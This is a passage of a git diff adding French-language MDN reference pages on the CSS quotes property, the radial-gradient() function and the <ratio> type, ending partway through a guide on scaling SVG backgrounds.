+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Firefox (Gecko)</td>
+   <td>1.0 (1.0)</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>1.0 (1.5)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Opera</td>
+   <td>4.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>7.0</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>1.0 (85)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Pseudo-classes">Les pseudo-classes</a></li>
+</ul>
diff --git a/files/fr/web/css/quotes/index.html b/files/fr/web/css/quotes/index.html
new file mode 100644
index 0000000000..00bc1a176b
--- /dev/null
+++ b/files/fr/web/css/quotes/index.html
@@ -0,0 +1,109 @@
+---
+title: quotes
+slug: Web/CSS/quotes
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Web
+translation_of: Web/CSS/quotes
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>quotes</code></strong> indique la façon dont les marques de citation sont affichées.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/quotes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+quotes: none;
+
+/* Chaînes de caractères */
+/* Type &lt;string&gt;         */
+quotes: "«" "»";           /* On utilise les guillemets français
+                              pour ouvrir et fermer une citation  */
+quotes: "«" "»" "‹" "›";   /* On définit deux niveaux de citation */
+
+/* Valeurs globales */
+quotes: inherit;
+quotes: initial;
+quotes: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Les valeurs <code>open-quote</code> et <code>close-quote</code> de la propriété {{cssxref("content")}} n'entraînent aucune marque de citation.</dd>
+ <dt><code>[&lt;string&gt; &lt;string&gt;]+</code></dt>
+ <dd>Une ou plusieurs paires de {{cssxref("&lt;string&gt;")}} pour les valeurs <code>open-quote</code> et <code>close-quote</code>. La première paire représente les symboles utilisés pour les citations de plus haut niveau, la deuxième indique comment délimiter une citation dans une citation, la troisième paire permet d'ajouter un niveau d'imbrication supplémentaire et ainsi de suite.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;q&gt;Bientôt le Lapin aperçut Alice qui furetait ;
+  il lui cria d’un ton d’impatience :
+    &lt;q&gt;Eh bien ! Marianne, que faites-vous ici ?
+    Courez vite à la maison me chercher une paire
+    de gants et un éventail ! Allons, dépêchons-nous.
+    &lt;/q&gt;
+  &lt;/q&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">q {
+  quotes : "«" "»" '"' '"';
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Content", "#quotes", "quotes")}}</td>
+   <td>{{Spec2("CSS3 Content")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#quotes', 'quotes')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.quotes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/radial-gradient()/index.html b/files/fr/web/css/radial-gradient()/index.html
new file mode 100644
index 0000000000..bb6cb5951d
--- /dev/null
+++ b/files/fr/web/css/radial-gradient()/index.html
@@ -0,0 +1,225 @@
+---
+title: radial-gradient
+slug: Web/CSS/radial-gradient()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/radial-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>radial-gradient()</code></strong> permet de créer une {{cssxref("&lt;image&gt;")}} CSS représentant un dégradé de couleur. Ce dégradé diffuse depuis une origine, le <em>centre</em> du gradient. La valeur renvoyée par cette fonction est un objet CSS de type {{cssxref("&lt;gradient&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>De façon analogue aux autres types de dégradés, un dégradé radial n'est pas une couleur ({{cssxref("&lt;color&gt;")}}) CSS mais une image <a href="/fr/docs/CSS/image#no_intrinsic">sans dimension intrinsèque</a> (c'est-à-dire que celle-ci ne possède pas de taille naturelle ou préférée ni de proportion). Sa taille réelle correspondra à la taille de l'élément auquel le gradient s'applique.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La fonction <code>radial-gradient</code> ne permet pas d'obtenir des dégradés radiaux répétés. Pour obtenir un tel effet concentrique, on pourra utiliser la fonction CSS {{cssxref("repeating-radial-gradient")}}.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Une valeur de type <code>&lt;gradient&gt;</code> est également une valeur de type <code>&lt;image&gt;</code>. On peut donc utiliser des dégradés à n'importe quel endroit où on peut utiliser des images. En revanche, un dégradé n'est pas une valeur de type {{cssxref("&lt;color&gt;")}} et ne peut donc pas être utilisé avec les propriétés manipulant ces valeurs (par exemple {{cssxref("background-color")}}).</p>
+</div>
+
+<h2 id="Composition_dun_dégradé_radial">Composition d'un dégradé radial</h2>
+
+<p><img alt="" src="/files/3795/radial%20gradient.png" style="height: 176px; width: 396px;"></p>
+
+<p>Les dégradés radiaux sont définis par trois notions :</p>
+
+<ul>
+ <li>Le centre,</li>
+ <li>La forme de terminaison : le contour et sa position,</li>
+ <li>Les points de couleur (<em>color stops</em>).</li>
+</ul>
+
+<p>Pour obtenir un dégradé radial, on trace des formes uniformes concentriques, identiques à la formes de terminaison en partant du centre. Les points de couleur sont positionnés sur un <em>rayon virtuel</em> qui s'étend horizontalement depuis le centre et vers la droite. Lorsqu'on positionne ces points avec des pourcentages, la valeur sera relative au rayon total qui est la distance entre le centre et la forme de terminaison. Chaque forme a une seule couleur qui est déterminée par la couleur du point d'intersection entre le rayon et la forme.</p>
+
+<p>Les formes de terminaisons peuvent prendre deux formes <code>:</code></p>
+
+<ul>
+ <li>circulaire (avec le mot-clé <code>circle)</code></li>
+ <li>elliptique (avec le mot-clé <code>ellipse</code>).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css  no-line-numbers notranslate">/* Un dégradé qui part du centre du conteneur,
+   qui commence en rouge, passe par du bleu
+   et finit en vert. */
+radial-gradient(circle at center, red 0, blue, green 100%)</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une {{cssxref("&lt;position&gt;")}} CSS qui est interprétée de la même façon que pour les propriétés {{cssxref("background-position")}} ou {{cssxref("transform-origin")}}. La valeur par défaut est <code>center</code>.</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>La forme du gradient. Elle vaut soit <code>circle</code> (la forme du dégradé sera un cercle de rayon constant) ou <code>ellipse</code> (la forme est une ellipse alignée sur les axes). La valeur par défaut est <code>ellipse</code>.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>Ces valeurs indiquent qu'une couleur donnée doit être utilisée à un endroit spécifique du dégradé. Cette valeur se compose d'une valeur {{cssxref("&lt;color&gt;")}} éventuellement suivie d'une position définie par une pourcentage ({{cssxref("&lt;percentage&gt;")}}) ou une longueur ({{cssxref("&lt;length&gt;")}}) selon le rayon virtuel du gradient. Un pourcentage ou une longueur nulle (<code>0%</code> ou <code>0</code>) indiquera le centre du dégradé. La valeur <code>100%</code> correspondra à l'intersection entre la forme de terminaison et le rayon virtuel. Les valeurs intermédiaires seront situées de façon proportionnelle.</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Une indication pour définir la progression de l'interpolation entre les deux points d'arrêt de couleur adjacents. La longueur définit l'emplacement auquel la transition aurait été effectuée à moitié entre les deux couleurs.</dd>
+ <dt><code>&lt;extent-keyword&gt;</code></dt>
+ <dd>Des mots-clés qui permettent de décrire la taille de la forme de terminaison. Les valeurs possibles sont :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Constante</th>
+    <th>Description</th>
+   </tr>
+   <tr>
+    <td><code>closest-side</code></td>
+    <td>La forme de terminaison du dégradé touche le côté de la boîte le plus proche du centre (pour les cercles) ou touche les côtés horizontaux et verticaux les plus proches du centre (pour les ellipses).</td>
+   </tr>
+   <tr>
+    <td><code>closest-corner</code></td>
+    <td>La forme de terminaison du dégradé est dimensionnée afin de toucher exactement le coin de la boîte le plus proche du centre.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-side</code></td>
+    <td>Cette valeur fonctionne de façon semblable à <code>closest-side</code>, sauf que ce seront les côtés les plus éloignés qui seront utilisés.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-corner</code></td>
+    <td>La valeur par défaut. Cette valeur fonctionne de façon semblable à <code>closest-corner</code>, sauf que ce sera le coin le plus éloigné qui sera utilisé.</td>
+   </tr>
+  </tbody>
+ </table>
+ D'anciens brouillons de la spécification indiquaient d'autres mots-clés, <code>cover</code> et <code>contain</code>, respectivement synonymes des valeurs standards <code>farthest-corner</code> et <code>closest-side</code>. Seules les valeurs standards doivent être utilisées, certaines implémentations ont d'ailleurs déjà retirées les anciennes formes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">radial-gradient(   [ circle || {{cssxref("&lt;length&gt;")}} ] [ at {{cssxref("&lt;position&gt;")}} ]? ,
+                 | [ ellipse || [ {{cssxref("&lt;length&gt;")}}  |  {{cssxref("&lt;percentage&gt;")}}  ]{2}] [ at  {{cssxref("&lt;position&gt;")}}  ]? ,
+                 | [ [ circle | ellipse ] || &lt;extent-keyword&gt; ] [ at  {{cssxref("&lt;position&gt;")}}  ]? ,
+                 | at  {{cssxref("&lt;position&gt;")}}  ,
+                 &lt;color-stop-list&gt; [ , &lt;color-stop-list&gt; ]+ )
+avec &lt;extent-keyword&gt; = closest-corner | closest-side | farthest-corner | farthest-side
+<code>  et<code> &lt;color-stop-list&gt; </code>= [ &lt;</code><dfn>linear-</dfn><code>color-stop&gt; [, &lt;color-hint&gt;? ]? ]#, &lt;</code><dfn>linear-</dfn><code>color-stop&gt;
+  et &lt;</code><dfn>linear-</dfn><code>color-stop&gt; = &lt;color&gt; [ &lt;color-stop-length&gt; ]?
+  et &lt;color-stop-length&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]{1,2}
+  et &lt;color-hint&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]</code></pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Une_ellipse_avec_farthest-corner">Une ellipse avec <code>farthest-corner</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.exemple {
+  height: 100vh;
+  width: 200vh;
+  background-image: radial-gradient(ellipse farthest-corner at 45px 45px , #00FFFF 0%, rgba(0, 0, 255, 0) 50%, #0000FF 95%);
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="exemple"&gt;
+  Yop
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Une_ellipse_avec_farthest-corner","250","150")}}</p>
+
+<h3 id="Un_cercle_de_16_pixels">Un cercle de 16 pixels</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.exemple {
+  height: 100vh;
+  width: 100vh;
+  background-image: radial-gradient(16px at 60px 50% , #000000 0%, #000000 14px, rgba(0, 0, 0, 0.3) 18px, rgba(0, 0, 0, 0) 19px);
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="exemple"&gt;
+  Yop
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_cercle_de_16_pixels","250","150")}}</p>
+
+<h3 id="Un_dégradé_simple">Un dégradé simple</h3>
+
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+  background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%);
+} </pre>
+
+<p>{{EmbedLiveSample('Un_dégradé_simple', 120, 120)}}</p>
+
+<h3 id="Un_dégradé_non-centré">Un dégradé non-centré</h3>
+
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+  background-image: radial-gradient(farthest-corner at 40px 40px,
+      #f35 0%, #43e 100%);
+}</pre>
+
+<p>{{EmbedLiveSample('Un_dégradé_non-centré', 240, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.gradient.radial-gradient")}}</p>
+
+<h3 id="Notes_relatives_à_Quantum_Firefox">Notes relatives à Quantum (Firefox)</h3>
+
+<ul>
+ <li>Gecko possède un bug qui fait que <code>radial-gradient(circle  gold, red)</code> fonctionne bien que la virgule entre <code>circle</code> et <code>gold</code> soit absente (cf. {{bug("1383323")}}). Le nouveau moteur de rendu CSS, <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, prévu pour Firefox 57, corrige ce bug.</li>
+ <li>De plus, les expressions utilisant {{cssxref("calc")}} sont rejetées lorsqu'elles sont utilisées pour définit le rayon dans <code>radial-gradient()</code>, la valeur obtenue étant alors considérée comme invalide (cf. {{bug(1376019)}}). Ce point a également été corrigé avec Stylo.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés CSS</a>,</li>
+ <li>{{cssxref("repeating-radial-gradient")}},</li>
+ <li>{{cssxref("linear-gradient")}}</li>
+ <li>{{cssxref("repeating-linear-gradient")}}</li>
+ <li>{{cssxref("conic-gradient")}}</li>
+ <li>{{cssxref("repeating-conic-gradient")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/ratio/index.html b/files/fr/web/css/ratio/index.html
new file mode 100644
index 0000000000..51d9786b28
--- /dev/null
+++ b/files/fr/web/css/ratio/index.html
@@ -0,0 +1,110 @@
+---
+title: <ratio>
+slug: Web/CSS/ratio
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/ratio
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;ratio&gt;</code></strong> permet de décrire les proportions <a href="/fr/docs/Web/CSS/Media_queries">dans les <em>media queries</em></a> (N.D.T. pour « requête média » qui est moins usité). entre deux valeurs sans unité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur de ce type se compose d'un entier strictement positif (type {{cssxref("&lt;integer&gt;")}}, suivi d'une barre oblique ('/', Unicode<code> U+002F SOLIDUS</code>) puis d'un second entier strictement positif (type {{cssxref("&lt;integer&gt;")}}). Il est possible d'avoir des espaces avant et après la barre oblique.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_dans_une_media_query">Utiliser dans une <em>media query</em></h3>
+
+<pre class="brush: css">@media screen and (min-aspect-ratio: 16/9) { … }</pre>
+
+<h3 id="Ratios_fréquemment_utilisés">Ratios fréquemment utilisés</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col">Ratio</th>
+   <th scope="col">Utilisation</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><img alt="Ratio4_3.png" class="default internal" src="/@api/deki/files/5714/=Ratio4_3.png"></td>
+   <td><code>4/3</code></td>
+   <td>Format traditionnel utilisé par les télévisions au XX<sup>e</sup> siècle.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio16_9.png" src="/@api/deki/files/5711/=Ratio16_9.png"></td>
+   <td><code>16/9</code></td>
+   <td>Format « moderne » des télévisions.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio1_1.85.png" src="/@api/deki/files/5712/=Ratio1_1.85.png"></td>
+   <td><code>185/100</code> = <code>91/50</code><br>
+    <em>(les numérateurs et dénominateurs décimaux ne sont pas autorisés)</em></td>
+   <td>Le format le plus utilisé pour la projection de films depuis les années 1960.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio1_2.39.png" src="/@api/deki/files/5713/=Ratio1_2.39.png"></td>
+   <td><code>239/100</code><br>
+    <em>(les numérateurs et dénominateurs décimaux ne sont pas autorisés)</em></td>
+   <td>Le format « large » utilisé pour projeter certains films (on parle de format anamorphique).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple_appliqué">Exemple appliqué</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media screen and (min-aspect-ratio: 1/1) {
+  .exemple {
+    background-color: palegreen;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Essayez de m'étirer en longueur ou de me réduire en largeur
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple_appliqué","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#values', '&lt;ratio&gt;')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.types.ratio")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/docs/Web/CSS/Media_queries">Les <em>media queries</em> CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/@media/aspect-ratio">La caractéristique média aspect-ratio</a></li>
+</ul>
diff --git a/files/fr/web/css/redimensionnement_arrière-plans_svg/index.html b/files/fr/web/css/redimensionnement_arrière-plans_svg/index.html
new file mode 100644
index 0000000000..ecd528838c
--- /dev/null
+++ b/files/fr/web/css/redimensionnement_arrière-plans_svg/index.html
@@ -0,0 +1,331 @@
+---
+title: Redimensionnement d'arrière-plans SVG
+slug: Web/CSS/Redimensionnement_arrière-plans_SVG
+tags:
+  - CSS
+  - Guide
+  - SVG
+translation_of: Web/CSS/Scaling_of_SVG_backgrounds
+---
+<p>Les images SVG sont très flexibles et lorsqu'on les utilise en CSS avec les propriétés {{cssxref("background-image")}} et {{cssxref("background-size")}}, il faut s'assurer de considérer les différents aspects qui leurs sont propres. Dans cet article, on décrit comment les images SVG sont redimensionnées grâce à ces propriétés.</p>
+
+<h2 id="Un_algorithme_simple">Un algorithme simple</h2>
+
+<p>Dans la plupart des cas, l'algorithme utilisé pourra être réduit à ces quatre règles. Ces règles ne sont pas exhaustives et ne couvrent pas certains cas aux limites mais cela sera suffisant ici :</p>
+
+<ol>
+ <li>Si {{cssxref("background-size")}} définit une dimension fixe (des pourcentages ou des unités relatives fixées par le contexte), cette dimension l'emporte.</li>
+ <li>Si l'image possède des proportions intrinsèques (autrement dit, si le ratio largeur/hauteur est constant : 16:9, 4:3, 2.39:1, 1:1), l'arrière-plan sera affiché en conservant ces proportions.</li>
+ <li>Si l'image définit une taille et que celle-ci n'est pas modifiée par une contrainte quelconque, cette taille l'emporte.</li>
+ <li>Dans tous les autres cas, l'image est affichée avec la taille de la zone dédiée à l'arrière-plan.</li>
+</ol>
+
+<p>On notera ici que l'algorithme ne prend en cas que les dimensions et/ou les proportions de l'image (leur absence éventullement). Ainsi, une image SVG dont les dimensions sont fixées sera traitée comme une image matricielle de la même taille.</p>
+
+<h2 id="Fichiers_dexemples">Fichiers d'exemples</h2>
+
+<p>Avant d'aller plus loin dans l'exploration des résultats avec {{cssxref("background-size")}}, il serait judicieux de disposer de différentes images sources avec différents paramètres de dimensions, proportions, etc.</p>
+
+<p>Pour chaque cas d'exemple fourni ci-après, l'image est affichée dans une boîte carrée de 150 pixels et un lien est fourni vers le fichier SVG correspondant.</p>
+
+<h3 id="Image_sans_dimension_ni_proportion">Image sans dimension ni proportion</h3>
+
+<p>Cette image ne possède ni dimension ni proportion. Quelle que soit sa taille, il n'y aura pas de ratio largeur/hauteur particulier. On a ici une image qui forme un dégradé, quelles que soient les dimensions et la proportion de l'écran.</p>
+
+<p><img alt="no-dimensions-or-ratio.png" class="default internal" src="/@api/deki/files/5860/=no-dimensions-or-ratio.png"></p>
+
+<p><a href="/@api/deki/files/5864/=no-dimensions-or-ratio.svg">Fichier source SVG</a></p>
+
+<h3 id="Image_sans_proportion_avec_une_dimension_fixée">Image sans proportion avec une dimension fixée</h3>
+
+<p>Cette image mesure 100 pixels de large mais n'a pas de hauteur ni de proportion intrinsèque. On a ainsi une bande d'arrière-plan qui peut être étirée sur toute la hauteur d'un bloc.</p>
+
+<p><img alt="100px-wide-no-height-or-ratio.png" class="default internal" src="/@api/deki/files/5858/=100px-wide-no-height-or-ratio.png"></p>
+
+<p><a href="/@api/deki/files/5863/=100px-wide-no-height-or-ratio.svg">Fichier source SVG</a></p>
+
+<h3 id="Image_avec_une_dimension_fixée_et_des_proportions_intrinsèques">Image avec une dimension fixée et des proportions intrinsèques</h3>
+
+<p>Cette image mesure 100 pixels de haut mais n'a pas de largeur fixée. Elle définit également une proportion de 3:4. Ainsi, le rapport largeur/hauteur sera toujours 3/4.</p>
+
+<p>On a ici un cas très proche de l'image pour laquelle on définit une largeur et une hauteur car, une fois qu'on a une dimension et une proportion, la deuxième dimension est implicite. Cela n'en reste pas moins un exemple utile.</p>
+
+<p><img alt="100px-height-3x4-ratio.png" class="default internal" src="/@api/deki/files/5857/=100px-height-3x4-ratio.png"></p>
+
+<p><a href="/@api/deki/files/5862/=100px-height-3x4-ratio.svg">Fichier source SVG</a></p>
+
+<h3 id="Image_sans_largeur_ni_hauteur_mais_avec_des_proportions_intrinsèques">Image sans largeur ni hauteur mais avec des proportions intrinsèques</h3>
+
+<p>Cette image n'indique pas de hauteur ou de largeur mais un ratio intrinsèque de 1:1. On obtiendra toujours un carré (qui pourra être utilisé comme une icône) pour n'importe quelle taille : 32x32, 128x128, or 512x512.</p>
+
+<p><img alt="no-dimensions-1x1-ratio.png" class="default internal" src="/@api/deki/files/5859/=no-dimensions-1x1-ratio.png"></p>
+
+<p><a href="/@api/deki/files/5861/=no-dimensions-1x1-ratio.svg">Fichier source SVG</a></p>
+
+<h2 id="Exemples_de_redimensionnement">Exemples de redimensionnement</h2>
+
+<p>Appliquons maintenant différents redimensionnements sur ces images. Pour chacun des exemples qui suivent, les rectangles dessinés font 300 pixels de large et 200 pixels de haut. De plus, on utilise {{cssxref("background-repeat")}} avec <code>no-repeat</code> pour plus de clarté..</p>
+
+<div class="note"><strong>Note :</strong> Les images montrées ci-après illustrent le rendu <strong>attendu</strong>. Les navigateurs peuvent ne pas produire le bon résultat.</div>
+
+<h3 id="Indiquer_des_dimensions_fixées_sur_les_deux_axes">Indiquer des dimensions fixées sur les deux axes</h3>
+
+<p>Si on utilise {{cssxref("background-size")}} pour indiquer la longueur et la largeur de l'image, celles-ci seront toujours utilisées (cf. la règle n°1 précédemment énoncée). Autrement dit, l'image sera toujours étirée pour obtenir ces dimensions, quelles que soient les dimensions initiales de l'image ou ses proportions.</p>
+
+<h4 id="SVG_source_Aucune_dimension_ni_proportion">SVG source : Aucune dimension ni proportion</h4>
+
+<p>Avec ces déclarations CSS :</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-or-ratio.svg);
+background-size: 125px 175px;
+</pre>
+
+<p>On doit obtenir un résultat semblable à :</p>
+
+<p><img alt="fixed-no-dimensions-or-ratio.png" class="default internal" src="/@api/deki/files/5868/=fixed-no-dimensions-or-ratio.png"></p>
+
+<h4 id="SVG_source_Une_dimension_définie_et_aucune_proportion">SVG source : Une dimension définie et aucune proportion</h4>
+
+<p>Avec ces déclarations CSS :</p>
+
+<pre class="brush: css notranslate">background: url(100px-wide-no-height-or-ratio.svg);
+background-size: 250px 150px;
+</pre>
+
+<p>On doit obtenir un résultat semblable à :</p>
+
+<p><img alt="fixed-100px-wide-no-height-or-ratio.png" class="default internal" src="/@api/deki/files/5866/=fixed-100px-wide-no-height-or-ratio.png"></p>
+
+<h4 id="SVG_source_Une_dimension_définie_et_des_proportions_intrinsèques">SVG source : Une dimension définie et des proportions intrinsèques</h4>
+
+<p>Avec ces déclarations CSS :</p>
+
+<pre class="brush: css notranslate">background: url(100px-height-3x4-ratio.svg);
+background-size: 275px 125px;
+</pre>
+
+<p>On doit obtenir un résultat semblable à :</p>
+
+<p><img alt="fixed-100px-height-3x4-ratio.png" class="default internal" src="/@api/deki/files/5865/=fixed-100px-height-3x4-ratio.png"></p>
+
+<h4 id="SVG_source_Aucune_largeur_ni_hauteur_définie_mais_des_proportions_intrinsèques">SVG source : Aucune largeur ni hauteur définie mais des proportions intrinsèques</h4>
+
+<p>Avec ces déclarations CSS :</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-1x1-ratio.svg);
+background-size: 250px 100px;
+</pre>
+
+<p>On doit obtenir un résultat semblable à :</p>
+
+<p><img alt="fixed-no-dimensions-1x1-ratio.png" class="default internal" src="/@api/deki/files/5867/=fixed-no-dimensions-1x1-ratio.png"></p>
+
+<h3 id="Utiliser_contain_ou_cover">Utiliser <code>contain</code> ou <code>cover</code></h3>
+
+<p>En utilisant la valeur <code>cover</code> pour {{cssxref("background-size")}}, l'image sera réduite au maximum pour couvrir toute la zone de l'arrière-plan. <code>contain</code> fonctionne de façon symétrique, l'image est agrandie autant que possible sans être rognée par la zone de l'arrière-plan.</p>
+
+<p>Pour une image avec des proportions intrinsèques, une seule dimension suffira à déterminer la taille pour <code>cover</code>/<code>contain</code>. En revanche, sans ratio, ce n'est pas suffisant et il faut donc utiliser les contraintes de la zone de l'arrière-plan.</p>
+
+<h4 id="SVG_source_Aucune_dimension_ni_proportion_2">SVG source : Aucune dimension ni proportion</h4>
+
+<p>Si une image n'a ni dimensions définie, ni proportions définies, les règles 2 ou 3 ne pourront pas s'appliquer. La règle 4 est donc utilisée et l'image couvre toute la zone (ce qui satisfait d'ailleurs les différentes contraintes).</p>
+
